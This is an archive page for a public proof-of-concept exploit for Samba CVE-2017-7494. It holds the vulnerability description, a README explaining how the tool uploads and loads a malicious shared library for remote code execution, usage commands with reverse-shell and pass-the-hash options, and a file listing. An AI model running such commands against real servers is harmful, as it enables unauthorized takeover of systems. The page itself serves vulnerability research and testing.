Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2017-7494 PoC — Samba 安全漏洞

Source
Associated Vulnerability
Title:Samba 安全漏洞 (CVE-2017-7494)
Description:Samba since version 3.5.0 and before 4.6.4, 4.5.10 and 4.4.14 is vulnerable to remote code execution vulnerability, allowing a malicious client to upload a shared library to a writable share, and then cause the server to load and execute it.
Description
CVE-2017-7494 python exploit
Readme
# noSAMBAnoCRY CVE-2017-7494

Remote exploit for the SAMBA CVE-2017-7494 vulnerability aka is_know_pipename!

## Details

This exploit is divided in 3 parts:

* Compiles the evilLib in following archs: x86_64 , x86, or i686
* Finds a writeable share and uploads evilLib to it!
* Loads evilLib, if everything goes right, RCE!

As long as the target is vulnerable and the payload is correct for the target operating system and architecture, the exploit is quite reliable.

## How to


Run the exploit against your target and wait until shell spawns:
```
$ python noSAMBAnoCRY.py -r RHOST
```
```
$ python noSAMBAnoCRY.py -r RHOST -u userTest -P 123 --lhost RevShellIP --lport RevShellPort 
```
For samba version 3.5.0 > 3.6.0, you just need add the argument -o 1
```
python noSAMBAnoCRY.py -r RHOST --lhost LHOST --lport LPORT -o 1
```
Run your own custom .so
```
$ python noSAMBAnoCRY.py -r RHOST -u userTest --hashes 00000000000000000000000000000000:3DBDE697D71690A769204BEB12283678 -c cp.so
```
For custom samba port use the argument -p
```
$ python noSAMBAnoCRY.py -t RHOST -p 4450 -u userTest -P 123 --rhost shell_ip --rport shell_port
```
In case you bump into smbpasswd hashes and cannot crack them, You can now pass-the-hash using the argument --hashes=LM:NT
```
$ python noSAMBAnoCRY.py -r RHOST -u userTest --hashes=00000000000000000000000000000000:3DBDE697D71690A769204BEB12283678 --lhost RevShellIP
```

## Disclaimer
This repo is inspired from repo: joxeankoret/exploit-CVE-2017-7494 and Archivaldo
File Snapshot

[4.0K] /data/pocs/e48ff2eec78e87dc6f00de8a03759618428a0870 ├── [ 116] config.h ├── [4.0K] impacket │   ├── [ 13K] cdp.py │   ├── [ 18K] crypto.py │   ├── [8.7K] crypto.pyc │   ├── [4.0K] dcerpc │   │   ├── [ 5] __init__.py │   │   ├── [ 158] __init__.pyc │   │   └── [4.0K] v5 │   │   ├── [6.7K] atsvc.py │   │   ├── [4.0K] dcom │   │   │   ├── [ 57K] comev.py │   │   │   ├── [ 5] __init__.py │   │   │   ├── [ 32K] oaut.py │   │   │   ├── [ 12K] scmp.py │   │   │   ├── [9.3K] vds.py │   │   │   └── [112K] wmi.py │   │   ├── [ 65K] dcomrt.py │   │   ├── [7.1K] dhcpm.py │   │   ├── [ 43K] drsuapi.py │   │   ├── [ 12K] dtypes.py │   │   ├── [ 19K] dtypes.pyc │   │   ├── [ 27K] enum.py │   │   ├── [ 23K] enum.pyc │   │   ├── [ 90K] epm.py │   │   ├── [ 5] __init__.py │   │   ├── [ 161] __init__.pyc │   │   ├── [ 56K] lsad.py │   │   ├── [ 16K] lsat.py │   │   ├── [5.1K] mgmt.py │   │   ├── [7.1K] mimilib.py │   │   ├── [ 70K] ndr.py │   │   ├── [ 50K] ndr.pyc │   │   ├── [ 89K] nrpc.py │   │   ├── [ 71K] rpcrt.py │   │   ├── [ 60K] rpcrt.pyc │   │   ├── [ 30K] rrp.py │   │   ├── [ 92K] samr.py │   │   ├── [6.1K] sasec.py │   │   ├── [ 43K] scmr.py │   │   ├── [ 88K] srvs.py │   │   ├── [129K] srvs.pyc │   │   ├── [ 16K] transport.py │   │   ├── [ 22K] transport.pyc │   │   ├── [ 21K] tsch.py │   │   └── [ 34K] wkst.py │   ├── [6.7K] dhcp.py │   ├── [ 29K] dns.py │   ├── [1018] Dot11Crypto.py │   ├── [1.5K] Dot11KeyManager.py │   ├── [110K] dot11.py │   ├── [1.4K] eap.py │   ├── [ 36K] ese.py │   ├── [4.0K] examples │   │   ├── [ 5] __init__.py │   │   ├── [1.5K] logger.py │   │   ├── [4.0K] ntlmrelayx │   │   │   ├── [4.0K] clients │   │   │   │   ├── [3.2K] httprelayclient.py │   │   │   │   ├── [2.5K] imaprelayclient.py │   │   │   │   ├── [ 219] __init__.py │   │   │   │   ├── [3.5K] ldaprelayclient.py │   │   │   │   ├── [3.8K] mssqlrelayclient.py │   │   │   │   └── [ 11K] smbrelayclient.py │   │   │   ├── [ 5] __init__.py │   │   │   ├── [4.0K] servers │   │   │   │   ├── [ 16K] httprelayserver.py │   │   │   │   ├── [ 86] __init__.py │   │   │   │   └── [ 24K] smbrelayserver.py │   │   │   └── [4.0K] utils │   │   │   ├── [2.4K] config.py │   │   │   ├── [ 5] __init__.py │   │   │   ├── [6.3K] targetsutils.py │   │   │   └── [1.0K] tcpshell.py │   │   ├── [120K] remcomsvc.py │   │   ├── [ 95K] secretsdump.py │   │   └── [9.6K] serviceinstall.py │   ├── [4.2K] helper.py │   ├── [575K] hresult_errors.py │   ├── [402K] hresult_errors.pyc │   ├── [ 19K] ICMP6.py │   ├── [ 33K] ImpactDecoder.py │   ├── [ 65K] ImpactPacket.py │   ├── [ 777] __init__.py │   ├── [ 732] __init__.pyc │   ├── [ 11K] IP6_Address.py │   ├── [ 11K] IP6_Extension_Headers.py │   ├── [6.4K] IP6.py │   ├── [4.0K] krb5 │   │   ├── [ 21K] asn1.py │   │   ├── [ 25K] asn1.pyc │   │   ├── [ 18K] ccache.py │   │   ├── [ 19K] ccache.pyc │   │   ├── [ 20K] constants.py │   │   ├── [ 18K] constants.pyc │   │   ├── [ 30K] crypto.py │   │   ├── [ 31K] crypto.pyc │   │   ├── [9.5K] gssapi.py │   │   ├── [9.5K] gssapi.pyc │   │   ├── [ 5] __init__.py │   │   ├── [ 156] __init__.pyc │   │   ├── [ 24K] kerberosv5.py │   │   ├── [ 16K] kerberosv5.pyc │   │   ├── [6.7K] pac.py │   │   ├── [9.4K] types.py │   │   └── [ 11K] types.pyc │   ├── [4.0K] ldap │   │   ├── [ 5] __init__.py │   │   ├── [ 24K] ldapasn1.py │   │   └── [ 26K] ldap.py │   ├── [ 12K] mqtt.py │   ├── [6.3K] NDP.py │   ├── [ 33K] nmb.py │   ├── [ 35K] nmb.pyc │   ├── [380K] nt_errors.py │   ├── [270K] nt_errors.pyc │   ├── [ 41K] ntlm.py │   ├── [ 29K] ntlm.pyc │   ├── [4.1K] pcapfile.py │   ├── [5.2K] pcap_linktypes.py │   ├── [ 73K] smb3.py │   ├── [ 48K] smb3.pyc │   ├── [ 40K] smb3structs.py │   ├── [ 56K] smb3structs.pyc │   ├── [ 36K] smbconnection.py │   ├── [ 34K] smbconnection.pyc │   ├── [153K] smb.py │   ├── [144K] smb.pyc │   ├── [202K] smbserver.py │   ├── [ 14K] spnego.py │   ├── [ 11K] spnego.pyc │   ├── [ 25K] structure.py │   ├── [ 25K] structure.pyc │   ├── [565K] system_errors.py │   ├── [366K] system_errors.pyc │   ├── [ 56K] tds.py │   ├── [4.0K] testcases │   │   ├── [4.0K] dot11 │   │   │   ├── [ 48] runalltestcases.bat │   │   │   ├── [ 791] runalltestcases.sh │   │   │   ├── [3.4K] test_Dot11Base.py │   │   │   ├── [2.4K] test_Dot11Decoder.py │   │   │   ├── [5.8K] test_Dot11HierarchicalUpdate.py │   │   │   ├── [1.8K] test_FrameControlACK.py │   │   │   ├── [2.2K] test_FrameControlCFEndCFACK.py │   │   │   ├── [2.1K] test_FrameControlCFEnd.py │   │   │   ├── [1.8K] test_FrameControlCTS.py │   │   │   ├── [2.2K] test_FrameControlPSPoll.py │   │   │   ├── [2.1K] test_FrameControlRTS.py │   │   │   ├── [3.9K] test_FrameData.py │   │   │   ├── [8.2K] test_FrameManagementAssociationRequest.py │   │   │   ├── [7.3K] test_FrameManagementAssociationResponse.py │   │   │   ├── [6.3K] test_FrameManagementAuthentication.py │   │   │   ├── [4.9K] test_FrameManagementDeauthentication.py │   │   │   ├── [4.9K] test_FrameManagementDisassociation.py │   │   │   ├── [6.0K] test_FrameManagementProbeRequest.py │   │   │   ├── [ 11K] test_FrameManagementProbeResponse.py │   │   │   ├── [8.5K] test_FrameManagement.py │   │   │   ├── [8.8K] test_FrameManagementReassociationRequest.py │   │   │   ├── [7.4K] test_FrameManagementReassociationResponse.py │   │   │   ├── [1.6K] test_helper.py │   │   │   ├── [3.1K] test_RadioTapDecoder.py │   │   │   ├── [ 29K] test_RadioTap.py │   │   │   ├── [5.3K] test_WEPDecoder.py │   │   │   ├── [4.4K] test_WEPEncoder.py │   │   │   ├── [4.0K] test_WPA2.py │   │   │   ├── [5.6K] test_WPA.py │   │   │   └── [1.4K] test_wps.py │   │   ├── [4.0K] ImpactPacket │   │   │   ├── [ 5] __init__.py │   │   │   ├── [ 48] runalltestcases.bat │   │   │   ├── [ 726] runalltestcases.sh │   │   │   ├── [4.2K] test_ethernet.py │   │   │   ├── [9.4K] test_ICMP6.py │   │   │   ├── [7.6K] test_IP6_Address.py │   │   │   ├── [ 28K] test_IP6_Extension_Headers.py │   │   │   ├── [3.1K] test_IP6.py │   │   │   ├── [1.3K] test_TCP_bug_issue7.py │   │   │   └── [4.5K] test_TCP.py │   │   ├── [ 5] __init__.py │   │   └── [4.0K] SMB_RPC │   │   ├── [ 276] dcetests.cfg │   │   ├── [ 5] __init__.py │   │   ├── [ 548] rundce.sh │   │   ├── [ 14K] test_dcomrt.py │   │   ├── [6.8K] test_dhcpm.py │   │   ├── [ 21K] test_drsuapi.py │   │   ├── [8.2K] test_epm.py │   │   ├── [4.7K] test_ldap.py │   │   ├── [ 41K] test_lsad.py │   │   ├── [ 14K] test_lsat.py │   │   ├── [6.5K] test_mgmt.py │   │   ├── [5.0K] test_mimilib.py │   │   ├── [131K] test_ndr.py │   │   ├── [1.8K] test_nmb.py │   │   ├── [ 38K] test_nrpc.py │   │   ├── [ 11K] test_ntlm.py │   │   ├── [ 20K] test_rpcrt.py │   │   ├── [ 24K] test_rrp.py │   │   ├── [114K] test_samr.py │   │   ├── [ 30K] test_scmr.py │   │   ├── [ 15K] test_smb.py │   │   ├── [3.4K] test_spnego.py │   │   ├── [ 41K] test_srvs.py │   │   ├── [ 31K] test_tsch.py │   │   ├── [ 19K] test_wkst.py │   │   └── [ 10K] test_wmi.py │   ├── [2.5K] uuid.py │   ├── [3.0K] uuid.pyc │   ├── [ 361] version.py │   ├── [ 15K] winregistry.py │   ├── [ 16K] winregistry.pyc │   └── [ 11K] wps.py ├── [3.3K] implant.c ├── [ 34K] LICENSE ├── [ 406] Makefile ├── [5.9K] noSAMBAnoCRY.py ├── [ 192] payload.c ├── [ 16K] payload.so ├── [1.5K] README.md └── [ 24] requirements.txt 15 directories, 206 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →